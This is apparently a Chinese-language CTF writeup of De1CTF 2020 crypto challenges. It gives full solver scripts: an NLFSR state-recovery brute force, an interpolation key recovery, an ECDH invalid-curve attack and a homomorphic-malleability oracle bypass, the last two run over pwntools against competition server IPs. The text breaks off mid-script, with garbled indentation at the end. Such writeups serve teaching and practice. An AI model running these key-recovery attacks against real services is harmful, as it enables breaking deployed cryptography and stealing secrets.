分类 writeup 下的文章

De1CTF 2020 Writeup

May 6, 2020

# Crypto

## NLFSR

可以发现输出是1时，ao是1的概率有75%。可以枚举前19个ao，解方程得到a的初始值，再枚举c和d的初始值，可以得到b的若干状态，最后解方程得到b，再检验。

```cpp
#include<bits/stdc++.h>

typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;

#define xx first
#define yy second

template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))

#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)

struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;

struct bits
{
	uint s[19];
	void lfsr(uint m)
	{
		uint t=0;
		fo0(i,19)if(m>>i&1)t^=s[i];
		fd0(i,18)s[i+1]=s[i];
		s[0]=t;
	}
	void init()
	{
		fo0(i,19)s[i]=1<<i;
	}
};

uint c,f[19],v[19];

void clear()
{
	c=0;
	fo0(i,19)f[i]=v[i]=0;
}

int addc(uint a,uint b)
{
	fo0(i,19)if(a>>i&1)
	{
		if(!f[i])
		{
			f[i]=a;
			v[i]=b;
			c++;
			return c==19?1:0;
		}
		a^=f[i];
		b^=v[i];
	}
	return b?2:0;
}

uint sol()
{
	fo0(i,19)fo(j,i+1,18)if(f[i]>>j&1)
	{
		f[i]^=f[j];
		v[i]^=v[j];
	}
	uint r=0;
	fo0(i,19)r+=v[i]<<i;
	return r;
}

template<const uint m>void lfsr(uint&r)
{
	r=(r<<1)^__builtin_parity(r&m);
}

char data[1<<20];

int main()
{
	freopen("data","r",stdin);
	fo0(i,1<<20)in,data[i];
	fo0(i,1<<20)data[i]-=48;
	
	fo0(adb,19)fo0(ad,1<<19)if(__builtin_popcount(ad)==adb)
	{
		bits t;t.init();clear();
		fo0(j,19)
		{
			t.lfsr(0x505a1);
			addc(t.s[0],(ad>>j&1)^data[j]);
		}
		uint ia=sol();
		if(!(ia>>18))continue;
		fo(ic,1<<12,(1<<13)-1)fo(id,1<<5,(1<<6)-1)
		{
			bool flag=1;
			uint a=ia,c=ic,d=id;
			for(int u=0;u<10;u++)
			{
				lfsr<0x505a1>(a);
				lfsr<0x1f02>(c);
				lfsr<0x31>(d);
				if(!((a^c^d)&1)&&(((c^d)&1)^data[u]))
				{
					flag=0;
					break;
				}
			}
			if(!flag)continue;
			a=ia,c=ic,d=id;
			t.init();clear();
			for(int u=0;;u++)
			{
				lfsr<0x505a1>(a);
				lfsr<0x1f02>(c);
				lfsr<0x31>(d);
				t.lfsr(0x40f3f);
				uint oa=a&1,oc=c&1,od=d&1;
				if(oa^oc^od)
				{
					uint req=oc^od^data[u];
					if(addc(t.s[0],req))break;
				}
				else
				{
					if(oc^od^data[u])
					{
						flag=0;
						break;
					}
				}
			}
			if(!flag)continue;
			uint ib=sol(),b=ib;
			a=ia,c=ic,d=id;
			fo0(u,100)
			{
				lfsr<0x505a1>(a);
				lfsr<0x40f3f>(b);
				lfsr<0x1f02>(c);
				lfsr<0x31>(d);
				uint cur=((a&b)^(b&c)^(b&d)^c^d)&1;
				if(cur!=data[u])
				{
					flag=0;
					break;
				}
			}
			if(flag)
			{
				out,"possible solution:",ia,' ',ib,' ',ic,' ',id,'\n';
				return 0;
			}
		}
	}
}
```

## Mini Purε Plus

View English edition at https://oj.ci/blogof/mcfx/blog/30

搜索到 De1CTF2019 的 Mini Purε 一题，本题和该题大致相同，只是已知的明文连续，并且轮数从 6 增加到了 16。同样考虑插值，但是本题中需要插值的多项式达到了 $$3^{14}$$ 次，$$n^2$$ 的算法无法通过，并且插值和求 key 需要分开进行。通过找规律可以发现 （实际上把拉格朗日插值的式子化一下也能得到相同结果） ，对于函数 $$F$$，若 $$F$$ 的次数不超过 $$k-1$$（$$k$$ 是 $$2$$ 的幂），则 $$F(n)=\sum\_{i=0}^{k-1} F(i)\frac{\prod\_{j=0,j\neq i}^{k-1}n \oplus j}{(k-1)!}$$（$$\oplus$$ 表示异或，乘法是这个域下的（即 F.Multiply），阶乘指这个域下的 1,2,...,k-1 相乘）。这个式子右边的系数可以 $$O(k)$$ 求出所有 n^j 的乘积后，再每次除以对应的 n^j 算出。把最后一个 key 设为未知数，然后再套用这个公式，即可得到一个 key 满足的三次方程（实际上三次项系数恒为 0）。可以枚举 key 来解出这个方程。需要找多个 n，求出解的交集，才能保证唯一性。

```cpp
#include<bits/stdc++.h>

typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;

#define xx first
#define yy second

template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))

#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)

#define BSZ 131072
template<const char*fn>struct FCg{char t[BSZ+1],*o,*e;FILE*f;FCg(){f=fopen(fn,"r");e=o=t+BSZ;}I char operator()(){if(o==e)fread(o=t,1,BSZ,f);return *o++;}};

struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;

ull mul(ull a,ull b)
{
	ull r=0;
	fo0(i,64)if(a>>i&1)r^=b<<i;
	return r;
}

ull divn(ull a,ull b)
{
	ull r=0;
	fd0(i,60-std::__lg(b))if((a^(b<<i))<a)r^=1ull<<i,a^=b<<i;
	return r;
}

ull mod(ull a,ull b)
{
	ull r=0;
	fd0(i,60-std::__lg(b))if((a^(b<<i))<a)r^=1ull<<i,a^=b<<i;
	return a;
}

pii divmod(ull a,ull b)
{
	ull r=0;
	fd0(i,25)if((a^(b<<i))<a)r^=1ull<<i,a^=b<<i;
	return mp(r,a);
}

void exgcd(ull a,ull b,ull&x,ull&y)
{
	if(!b)
	{
		x=1,y=0;
		return;
	}
	exgcd(b,mod(a,b),y,x);
	y^=mul(divn(a,b),x);
}

ull inv_(ull a,ull b)
{
	ull x,y;
	exgcd(a,b,x,y);
	assert(mod(mul(a,x),b)==1);
	return x;
}

const int P=16901801;

uint mulm(uint x,uint y)
{
	ull a=0;
	fo0(i,24)if(x>>i&1)a^=ull(y)<<i;
	fd(i,46,24)if(a>>i&1)a^=16901801ull<<(i-24);
	return a;
}

uint mulm8(uint x,uint y)
{
	ull a=0;
	fo0(i,25)if(x>>i&1)a^=ull(y)<<i;
	fd(i,50,24)if(a>>i&1)a^=16901801ull<<(i-24);
	return a;
}

uint modx(uint x)
{
	if(x>>24)return x^P;return x;
}

const int N=1<<24;
const uint EL=0x777777;

uint sl[N],sr[N];

constexpr char F_PT[]="pt.txt",F_CT[]="ct.txt";

uint hex1(char x)
{
	if(x<=57)return x-48;
	return x-87;
}

uint dehex(char*s)
{
	uint r=0;
	fo0(i,6)r=r*16+hex1(s[i]);
	return r;
}

uint fbox3(uint x)
{
	ull a=0,b=0,t[4]={0,x,x<<1,x^(x<<1)};
	for(ull i=0;i<24;i+=2)a^=t[x>>i&3]<<i;
	fd(i,46,41)if(a>>i&1)a^=16901801ull<<(i-24);
	t[3]=(t[1]=a)^(t[2]=a<<=1);
	for(ull i=0;i<24;i+=2)b^=t[x>>i&3]<<i;
	fd(i,63,24)if(b>>i&1)b^=16901801ull<<(i-24);
	return b;
}

uint get_interpolate_coeff(int n,int rx)
{
	uint tt=1,vv=1;
	fo0(i,n)tt=mulm(tt,rx^i);
	fo1(i,n-1)vv=mulm(vv,i);
	return mulm(tt,inv_(vv,P));
}

uint inv[N];

int main()
{
	inv[1]=1;
	fo(i,2,N-1)
	{
		pii t=divmod(P,i);
		inv[i]=mulm8(P^t.xx,inv[t.yy]);
	}
	out,"pre inv ok\n";
	Fr<FCg<F_PT>>in_pt;
	Fr<FCg<F_CT>>in_ct;
	fo0(i,N)
	{
		char a[13],b[13];
		in_pt,a;
		in_ct,b;
		uint x=dehex(a+6),y=dehex(b),z=dehex(b+6);
		sl[x]=z,sr[x]=y;//swapped
	}
	out,"read file ok\n";
	int keys[16];
	for(int keypos=15;keypos>=2;keypos--)
	{
		out,"solving key ",keypos,'\n';
		int keyr=pow(3,keypos-1);
		int n=1<<1+std::__lg(keyr);
		std::set<int>real_valid;
		for(int rx=n;;rx++)
		{
			out,"n ",n,", try rx ",rx,'\n';
			uint tt=get_interpolate_coeff(n,rx);
			out,"get interpolate coef ok\n";
			uint coef[4];
			mset(coef,0);
			fo0(i,n)
			{
				// l , r = r , l ^ fbox(keys[i] ^ r)
				// oldl = r ^ fbox(key ^ l)
				uint a=sl[i],b=mulm(a,a),c=mulm(a,b),v=mulm(tt,inv[rx^i]);
				coef[0]^=mulm(sr[i]^c,v);
				coef[1]^=mulm(b,v);
				coef[2]^=mulm(a,v);
				coef[3]^=v;
			}
			{
				uint a=sl[rx],b=mulm(a,a),c=mulm(a,b);
				coef[0]^=sr[rx]^c;
				coef[1]^=b;
				coef[2]^=a;
				coef[3]^=1;
			}
			out,"get coef ok\n";
			out,"coef:";fo0(i,4)out,coef[i],' ';out,'\n';
			std::set<int>valid;
			fo0(i,N)
			{
				uint a=i,b=mulm(a,a),c=mulm(a,b);
				if(!modx(mulm(coef[3],c)^mulm(coef[2],b)^mulm(coef[1],a)^coef[0]))valid.insert(i);
			}
			if(!real_valid.size())
			{
				real_valid=valid;
			}
			else
			{
				std::set<int>nxt;
				for(int x:valid)if(real_valid.count(x))nxt.insert(x);
				real_valid=nxt;
				if(real_valid.size()==1)break;
				assert(real_valid.size());
			}
			out,"possible keys:";for(int x:real_valid)out,x,' ';out,'\n';
		}
		int key=*real_valid.begin();
		keys[keypos]=key;
		out,"key ",keypos,": ",key,'\n';
		fo0(i,N)
		{
			uint l=sl[i],r=sr[i];
			uint oldl=r^fbox3(key^l);
			r=l;
			l=oldl;
			sl[i]=l,sr[i]=r;
		}
		out,"decrypted\n";
	}
	
	fo0(i,N)if((EL^fbox3(i))==sl[0]&&(EL^fbox3(i^1))==sl[1])keys[0]=i;
	fo0(i,N)if(fbox3(sl[0]^i)==sr[0]&&(1^fbox3(sl[1]^i))==sr[1])keys[1]=i;
	
	out,"keys: ";fo0(i,16)out,keys[i],", ";out,'\n';
}
```

## ECDH

程序中没有对公钥进行校验，可以用不在曲线上的点。枚举一些 $$b$$，找一些阶有小因子的曲线，对这些小因子可以暴力求出离散对数的余数，然后使用中国剩余定理合并。

下面两个脚本，第一个脚本是枚举 $$b$$ 的，第二个是和服务器交互的。

```python
from sage.all import *
from sympy.ntheory import sqrt_mod
from gmpy2 import *
import random

q = 0xdd7860f2c4afe6d96059766ddd2b52f7bb1ab0fce779a36f723d50339ab25bbd
a = 0x4cee8d95bb3f64db7d53b078ba3a904557425e2a6d91c5dfbf4c564a3f3619fa
#b = 0x56cbc73d8d2ad00e22f12b930d1d685136357d692fa705dae25c66bee23157b8
b=3

def timeout(func, args=(), kwargs={}, timeout_duration=10):
	@fork(timeout=timeout_duration, verbose=True)
	def my_new_func():
		return func(*args, **kwargs)
	return my_new_func()

def fac1(n):
	t=timeout(factor,(n,),{},3)
	if type(t) is str:
		return [(n,1)]
	return list(t)

zero=(0,0)
def add(p1,p2):
	if p1 == zero:
		return p2
	if p2 == zero:
		return p1
	(p1x,p1y),(p2x,p2y) = p1,p2
	if p1x == p2x and (p1y != p2y or p1y == 0):
		return zero
	if p1x == p2x:
		tmp = (3 * p1x * p1x + a) * invert(2 * p1y , q) % q
		#print(tmp,invert(2 * p1y , q),(3*p1x*p1x+a)%q)
	else:
		tmp = (p2y - p1y) * invert(p2x - p1x , q) % q
	#print('tmp:',tmp)
	x = (tmp * tmp - p1x - p2x) % q
	y = (tmp * (p1x - x) - p1y) % q
	return (int(x),int(y))

def mul(n,p):
	r = zero
	tmp = p
	while 0 < n:
		if n & 1 == 1:
			r = add(r,tmp)
		n, tmp = n >> 1, add(tmp,tmp)
	return r

F=FiniteField(q)

f={}

while True:
	E=EllipticCurve(F,[a,b])
	o=E.order()
	print b,o
	t=fac1(o)
	print(t)
	for x,y in t:
		if x**y<10000 and (x not in f or f[x][0]<y):
			r=int(o)//x**y
			#while True:
			t2=False
			for i in range(x**y*3):
				ux=random.randint(0,q-1)
				uy=sqrt_mod((ux**3+ux*a+b)%q,q)
				#print(ux,uy)
				if uy is not None:
					od=E.point((ux,uy)).order()
					if od % x**y == 0:
						t2=mul(int(od)//x**y,(ux,uy))
						break
			if t2==False:
				print(x,y,'skip')
				continue
			print(x,y,t2)
			assert(E.point(t2).order()==x**y)
			f[x]=(y,t2)
	u=1
	for x in f:
		u*=x**f[x][0]
	print 'u:',u
	if u>q: break
	b+=1

for x in f:
	print(x,f[x][0],f[x][1])
```

```python
import os,random,sys,string
from hashlib import sha256
from gmpy2 import invert
from binascii import unhexlify
from pwn import *

context.log_level='debug'

table=[(2, 6, (15515261289492000636723716832530474441073793179820253654344161846899397174163, 70732673780185253533560312981065425697374855122155226842361189468006993016608)),
(3, 4, (60644430586292500807468800471222459463635175483477838721990697739818739099186, 16849390271247056396316169242269790248390887059915425051633208890222288732308)),
(5, 3, (5528529652585034540224644062864754084219932471810717108295409545601068117245, 51758490718562369829013860973372210155698131711621237886181135191530362849794)),
(7, 4, (40392338877400485203078176081718688614099837261220989485738369786640826232054, 91153592734846614636469144647462767082263205384560870269434577477306773979891)),
(11, 1, (26468109550543433678994725852332470419860078736495236337093765517625052146217, 30030378315449445421642742996042765533105249598547875770169791334902801551576)),
(13, 1, (95295478088788933512826351457131936019556851795692390283786723909538384825602, 97278701628009650441905889580352351278736310561880101391071560781416283458962)),
(17, 1, (65837680812938494455375972222216255836369326737529398552707397639739049723703, 33208520506802012808461386954426139890984796376331927142382609600245216288494)),
(131, 1, (75413644696437288380416125222340362010683706114954647219476351446822453348076, 83702919061607667358054206436481921059620150651200302096596829041453951506443)),
(5657, 1, (70499678082099959151425588974046571307561218806076877159661239835817348455787, 11505825114646650622194943383898280302683645307270959404836704168921936777413)),
(9241, 1, (13469916461975726791324477068741305127538951745273261934754783046892205243425, 625147783966158809929549276916984877707259429146400534321490899006477322266)),
(4621, 1, (10076941876862741784977155613763400255220273193889689786141182250956528935919, 49406921986921091899525425340592596515650819043238308774041397214839183276000)),
(2333, 1, (71880145504007257203966204065686225216236958299194853057697944529309264988346, 8677894132577051961756730904145989744695974306667223198269180132628421781789)),
(31, 1, (71042727689323597341291894219177126947616248823335274140949335289544392720824, 45772930136487189798938708075768675400376691242082880401294458476052354873898)),
(37, 1, (24118287569188964318275888822817421880450904526350392166501002900611917829565, 3680190950398616974070833403166614986350330478918223384476799013369032031851)),
(1009, 1, (92187640513637539408296220568909716964516433202612852987221284345725680872609, 26260904735235128781738570562562721709781352309940097086267361653176966173676)),
(41, 1, (3066999177232399566508055021243130941665805183592135288208622116033265288444, 92393733619593491765990163126745077862875965784039641959544220857159656474086)),
(43, 1, (97228779193481048069285040598986324767912386297638779341714456628677381491695, 18759417200485761166946170090462910796186262281394965842860629726771509917917)),
(47, 1, (57180193262500956333203171862406674004642936568084724246042508084678517575640, 70162295479900913971593701336814638490133667924284548274495009809941170069250)),
(53, 1, (15579788653108424130263940051632273201909924510914880066303214667923223073219, 76263745719636011547585341737098104188635706224250254064457670665325932374031)),
(311, 1, (950329615975590747523806576462151877961103821569268241790171963348349791909, 76543211939132548291393704246697102389659652088494495704582204879372361098723)),
(6073, 1, (25016342617497682964438693423273111600168741895722086513717109106463747542427, 57768715347881292141064126576258017798037475015634531788352982807876997221251)),
(1567, 1, (74058700877346832479128967774152612928000983436457734350068032120895529216497, 1708279924881167680901068917743327624896568244136802468165850058989229161145)),
(1973, 1, (54729816429035730894822772247154366967107036508315733382573253360968405034799, 81429716748913679974061130364821817487515206212180922370900847048231930941763)),
(1291, 1, (74980927490098396683015872123990216016037302378390964998804014735849997412469, 82625687252178165025928010201289023441868160811044396968885376008215748852604)),
(709, 1, (92955163666272498635446824256806680531972012111577971243736656488139632096882, 66922942483051868447068386260718042684834251247583246641977579031995329864591)),
(719, 1, (71799262452972755571855429182036975429508040858823728850004489395747854471701, 73681861832673181257393813284559219372405590409965081777800968576795832942512)),
(853, 1, (64908313140867893143216336630963136039584606786189601019828694727341243414171, 33085867585019942469263918716669571228794418949740146064880473153645942681676)),
(59, 1, (36996626633099586579662722926353853127782282780590288372280652930641604528707, 45917233308318199676044676117838944021278139827386480013081783161258801905500)),
(103, 1, (77849788044807298207880916948872226371255754702212393500094336975351126048340, 27542826819935558516725818290967078863217407852992402818731591102209581497613)),
(2281, 1, (97969541276731315447885157282376106483991961866722142348413628177302083792895, 45798677383348696990666008407246194680327854507649706700191958988885151615672)),
(29, 1, (77531461761763053544962150909546436954079293162821864080798209972546114789501, 48703099908339279581300847939211968945332330876286076427798555180633398400191)),
(881, 1, (24317548779522198821247428992771511674292061765522152455774057311652520808085, 38960104630988783750463951363466493085599734114544363489258672557054552709942))]

q = 0xdd7860f2c4afe6d96059766ddd2b52f7bb1ab0fce779a36f723d50339ab25bbd
a = 0x4cee8d95bb3f64db7d53b078ba3a904557425e2a6d91c5dfbf4c564a3f3619fa
zero = (0,0)

def add(p1,p2):
	if p1 == zero:
		return p2
	if p2 == zero:
		return p1
	(p1x,p1y),(p2x,p2y) = p1,p2
	if p1x == p2x and (p1y != p2y or p1y == 0):
		return zero
	if p1x == p2x:
		tmp = (3 * p1x * p1x + a) * invert(2 * p1y , q) % q
	else:
		tmp = (p2y - p1y) * invert(p2x - p1x , q) % q
	x = (tmp * tmp - p1x - p2x) % q
	y = (tmp * (p1x - x) - p1y) % q
	return (int(x),int(y))

def mul(n,p):
	r = zero
	tmp = p
	while 0 < n:
		if n & 1 == 1:
			r = add(r,tmp)
		n, tmp = n >> 1, add(tmp,tmp)
	return r

s=[]
for x,y,z in table:
	t=x**y
	assert mul(t,z)==zero
	s.append((t,z))

print('s:',len(s))

n=1
for x,y in s:
	n*=x

inv=[]
for x,y in s:
	inv.append(invert(n//x,x))

r=remote('134.175.225.42',8848)

def work_hash():
	r.recvuntil('sha256(XXXX+')
	p=r.recv(16).decode()
	r.recvuntil('== ')
	h=r.recvuntil('\n').strip().decode()
	r.recvuntil('Give me XXXX:')
	st=string.ascii_letters+string.digits
	o=None
	for a in st:
		for b in st:
			for c in st:
				for d in st:
					if hashlib.sha256((a+b+c+d+p).encode()).hexdigest()==h:
						o=a+b+c+d
						break
				if o is not None:
					break
			if o is not None:
				break
		if o is not None:
			break
	r.send(o+'\n')
work_hash()

def leak(x,y,first):
	if not first:
		r.recvuntil('Tell me your choice:\n')
		r.send('Exchange\n')
	r.recvuntil('X:\n')
	r.send(str(x)+'\n')
	r.recvuntil('Y:\n')
	r.send(str(y)+'\n')
	r.recvuntil('Exchange success\n')
	r.recvuntil('Tell me your choice:\n')
	r.send('Encrypt\n')
	r.recvuntil('Give me your message(hex):\n')
	r.send('f'*128+'\n')
	r.recvuntil('The result is:\n')
	a=r.recvuntil('\n').strip()
	assert len(a)==128
	a=unhexlify(a)
	print(a)
	b=[]
	for i in a:
		b.append(i^0xff)
	c=int.from_bytes(bytes(b),'big')
	return c>>256,c&(2**256-1)

rv=0
for i in range(len(s)):
	c=s[i][0]
	x,y=s[i][1]
	res=leak(x,y,i==0)
	print(res)
	t=-1
	cur=zero
	for j in range(c):
		if cur==res:
			t=j
			break
		cur=add(cur,(x,y))
	print(i,t)
	assert t!=-1
	rv=(rv+t*inv[i]*(n//c))%n

r.recvuntil('Tell me your choice:\n')
r.send('Backdoor\n')
r.recvuntil('Give me the secret:\n')
r.send(str(rv)+'\n')
r.interactive()
```

## Homomorphic

正如题目名所说，题目中的加密是同态的，给密文乘 x，则原文也会乘 x，所以只需要给 flag 的密文都乘上 x 再询问就可以绕过了。

```python
from pwn import *
import time

r=remote('106.52.180.168',8848)

def work_hash():
	r.recvuntil('sha256(XXXX+')
	p=r.recv(16).decode()
	r.recvuntil('== ')
	h=r.recvuntil('\n').strip().decode()
	r.recvuntil('Give me XXXX:')
	st=string.ascii_letters+string.digits
	o=None
	for a in st:
		for b in st:
			for c in st:
				for d in st:
					if hashlib.sha256((a+b+c+d+p).encode()).hexdigest()==h:
						o=a+b+c+d
						break
				if o is not None:
					break
			if o is not None:
				break
		if o is not None:
			break
	r.send(o+'\n')
work_hash()
r.recvuntil('The enc flag is: \n')
s=[]
for i in range(88):
	s.append(eval(r.recvuntil('\n')))

for i in range(0,88,2):
	r.send('Decrypt\n')
	r.recvuntil('Please input c0(Separated by commas):\n')
	r.send(','.join(map(str,[0]+s[i]))+'\n')
	r.recvuntil('Please input c1(Separated by commas):\n')
	r.send(','.join(map(str,[0]+s[i+1]))+'\n')
	r.recvuntil('The index:\n')
	r.send('1\n')
	#r.interactive()
	r.recvuntil('The result is: \n')
	print(chr(int(r.recvuntil('\n'))),end='')
```

## mc_noisemap

网站会根据当前时间生成一些随机数，和 flag 异或，把每两个字节处理成一个 16 位的数，然后根据这些数生成若干图片。可以访问 `/map?seed=xxx` 生成原始图片，而网站本身的图片是加过水印的。

基本的思想是生成出所有图片，然后和网站上的匹配。注意到雪地在加水印之后颜色不变，可以以此作为标准来匹配。可以找出雪地相差不超过 10 块的图片，如果这样的图片超过 10 个，则可能原图根本没有雪地，这种情况可以直接忽略（因为网站可以多次生成）最后多跑一段时间，然后看看得到的 flag 哪种最多就好了。

下面这个脚本是生成图片信息用的：

```python
from math import floor,cos,pi,sqrt

PERLIN_YWRAPB = 4
PERLIN_YWRAP = 1 << PERLIN_YWRAPB
PERLIN_ZWRAPB = 8
PERLIN_ZWRAP = 1 << PERLIN_ZWRAPB
PERLIN_SIZE = 4095
perlin_octaves = 4
perlin_amp_falloff = 0.5

perlin=[0]*(PERLIN_SIZE+1)

def scaled_cosine(i):
	return 0.5 * (1.0 - cos(i * pi));

def noiseSeed(seed):
	m=4294967296
	a=1664525
	c=1013904223
	z=seed
	for i in range(PERLIN_SIZE+1):
		z=(a*z+c)%m
		perlin[i]=z/m

def noise(x,y=0,z=0):
	if x<0: x=-x
	if y<0: y=-y
	if z<0: z=-z
	xi=floor(x)
	yi=floor(y)
	zi=floor(z)
	xf=x-xi
	yf=y-yi
	zf=z-zi
	r=0
	ampl=0.5
	for o in range(perlin_octaves):
		of = xi + (yi << PERLIN_YWRAPB) + (zi << PERLIN_ZWRAPB);

rxf = scaled_cosine(xf);
		ryf = scaled_cosine(yf);

n1 = perlin[of & PERLIN_SIZE];
